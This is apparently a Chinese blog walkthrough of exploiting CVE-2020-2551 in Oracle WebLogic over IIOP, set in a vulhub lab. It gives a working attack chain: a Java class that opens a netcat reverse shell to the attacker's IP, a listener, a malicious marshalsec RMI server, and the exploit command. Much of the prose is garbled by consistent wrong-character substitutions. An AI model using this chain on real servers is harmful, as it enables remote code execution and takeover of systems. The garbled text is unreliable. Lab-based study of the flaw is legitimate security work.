关于渗透测试:CVE20202551

50次阅读

共计 1375 个字符,预计需要花费 4 分钟才能阅读完成。

前言

2020 年 1 月 15 日,Oracle 公布了一系列的安全补丁, 其中 Oracle WebLogic Server 产品有高危破绽, 破绽编号 CVE-2020-2551,CVSS 评分 9.8 分, 破绽利用难度低, 可基于 IIOP 协定执行近程代码。通过剖析这次破绽次要起因是谬误的过滤 JtaTransactionManager 类,JtaTransactionManager 父类 AbstractPlatformTransactionManager 在之前的补丁外面就退出到黑名单列表了,T3 协定应用的是 resolveClass 办法去过滤的,resolveClass 办法是会读取父类的, 所以 T3 协定这样过滤是没问题的。然而 IIOP 协定这块, 尽管也是应用的这个黑名单列表, 但不是应用 resolveClass 办法去判断的, 这样默认只会判断本类的类名, 而 JtaTransactionManager 类是不在黑名单列表外面的, 它的父类才在黑名单列表外面, 这样就能够反序列化 JtaTransactionManager 类了, 而 JtaTransactionManager 类是存在 jndi 注入的。

环境搭建

间接应用 vulhub 中的 CVE-2017-10271 就能够
应用 git 克隆到本地
git clone https://github.com/vulhub/vul…

进入对应环境
cd vulhub/weblogic/CVE-2017-10271

启动 docker 破绽环境

sudo docker-compose up -d

搭建实现当前,拜访 7001/console 如下图所示即为搭建胜利

检测是否存在破绽

python3 CVE-2020-2551.py -u http://192.168.52.128:7001/

发现存在破绽

破绽利用

攻击机 ip:192.168.0.101
靶机 ip:192.168.52.128
攻击机开启监听 nc -lvnp 3333

编写一个 exp.java 文件:

import java.io.IOException;
public class exp {
        static{try {                        java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","nc -e /bin/bash 192.168.0.101 3333"});    
            } catch (IOException e) {e.printStackTrace(); 
               }
        }        public static void main(String[] args) {​}
}

启一个 web 服务,须要与 exp.class 在同一文件夹

应用 marshalsec 起一个歹意的 RMI 服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.0.101/#exp” 1099

而后开始进行攻打,应用命令, 胜利弹出 shell:java -jar weblogic_CVE_2020_2551.jar 192.168.52.128 7001 rmi://192.168.0.101:1099/exp

下载工具获取私信 学习浸透请关注微信公众号:助安社区

正文完
 0